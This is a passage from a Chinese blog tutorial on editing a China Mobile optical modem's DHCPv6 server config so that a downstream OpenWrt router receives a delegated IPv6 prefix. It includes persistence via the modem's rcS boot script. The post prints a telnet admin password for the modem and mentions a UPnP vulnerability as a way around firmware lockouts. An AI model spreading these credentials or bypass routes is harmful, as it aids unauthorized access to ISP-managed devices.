};
host cmcc {
        duid 11:11:11:11:11:11:11:11:11:11:11:11:11:11;
        prefix 2409:8a28:6e2:1c20::/60 172800 259200;
};

host cmcc 里硬编码了一个假DUID（11:11:11:11...），只有匹配这个DUID的设备才能拿到PD前缀。下挂的OpenWrt路由器DUID不匹配，自然拿不到前缀。

解决方法：修改dhcp6s.conf

第一步：找到OpenWrt路由器的DUID

在OpenWrt路由器上执行：

1
2
3

cat /tmp/hosts/odhcpd
# 输出类似：
# br-lan 00030001702ad7607720 0 - ...

DUID就是第二列的值，如 00030001702ad7607720。格式化为冒号分隔：00:03:00:01:70:2a:d7:60:77:20。

这个DUID是DUID-LL格式：0003=DUID-LL类型, 0001=以太网, 后面是WAN口的MAC地址。

第二步：通过telnet修改光猫的dhcp6s.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# telnet登录光猫 (admin / s2@We3%Dc#)

cat > /etc/dhcp6s.conf << 'EOF'
option domain-name-servers fe80::1;
interface br0 {
        address-pool pool1 172800 259200;
};
pool pool1 {
        range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host openwrt {
        duid 00:03:00:01:70:2a:d7:60:77:20;
        prefix 2409:8a28:6e2:1c20::/60 172800 259200;
};
EOF

把 00:03:00:01:70:2a:d7:60:77:20 替换为你自己路由器的DUID。

第三步：重启dhcp6s

1
2
3

killall dhcp6s 2>/dev/null
sleep 1
/userfs/bin/dhcp6s -c /etc/dhcp6s.conf br0 -p /var/run/dhcp6s.pid &

第四步：在OpenWrt上重新请求前缀

1
2
3
4
5
6
7
8

killall odhcp6c 2>/dev/null
ifdown wan6
sleep 3
ifup wan6
sleep 15

# 验证是否拿到前缀
ifstatus wan6 | grep -A8 ipv6-prefix

成功的话会看到：

1
2
3
4
5
6
7
8
9

"ipv6-prefix": [
    {
        "address": "2409:8a28:6e2:1c20::",
        "mask": 60,
        "preferred": 172784,
        "valid": 259184,
        "class": "wan6"
    }
]

完整的PD链路

修改后的IPv6前缀委派链路：

ISP ──/60──→ 光猫(ppp1) ──/60──→ OpenWrt(eth1) ──/64──→ LAN设备(br-lan)

这是正规的DHCPv6-PD链路，比NDP Relay方案更稳定、更标准。

持久化注意事项

光猫的 /etc/ 分区是只读的squashfs，重启后 dhcp6s.conf 会恢复原样。需要持久化的话，可以把自定义配置保存到 /userfs/（可写的jffs2分区），并在 /etc/init.d/rcS 末尾添加监控脚本，在每次dhcp6s启动后自动替换配置：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# 保存到持久分区
cp /etc/dhcp6s.conf /userfs/dhcp6s_custom.conf

# 在rcS末尾添加后台监控
cat >> /etc/init.d/rcS << 'EOF'
(while true; do
  if ps | grep -q "[d]hcp6s"; then
    if [ -f /userfs/dhcp6s_custom.conf ]; then
      if ! grep -q "openwrt" /etc/dhcp6s.conf 2>/dev/null; then
        cp /userfs/dhcp6s_custom.conf /etc/dhcp6s.conf
        killall dhcp6s 2>/dev/null
        sleep 1
        /userfs/bin/dhcp6s -c /etc/dhcp6s.conf br0 -p /var/run/dhcp6s.pid &
      fi
    fi
  fi
  sleep 30
done) &
EOF

注意：/etc/init.d/rcS 的可写性取决于具体固件版本，部分版本rcS在tmpfs上，重启后可能丢失。如遇此情况，建议联系装维师傅将光猫改为桥接模式，让OpenWrt直接拨号获取PD前缀，这是最彻底的解决方案。

总结

问题 原因 解决方案
LAN设备没有IPv6 ISP不下发PD前缀 NDP Relay + IPv6 Forwarding
光猫有/60但不给下挂路由器 dhcp6s.conf硬编码DUID 修改dhcp6s.conf加入路由器DUID
IPv6时断时续 ISP前缀续约失败 watchdog脚本自动恢复
海外IPv6 TCP不通 中国移动IPv6国际出口过滤 走IPv4代理
光猫无法改桥接 新固件封堵了超管获取 UPnP漏洞/闲鱼5元/找装维师傅

虽然方案不完美（海外IPv6不通、依赖ISP不做ND检查），但对于日常使用国内IPv6站点来说完全够用。

本文2026-06-20首发于猫猫鱼的小窝，最后修改于2026-06-20

]]>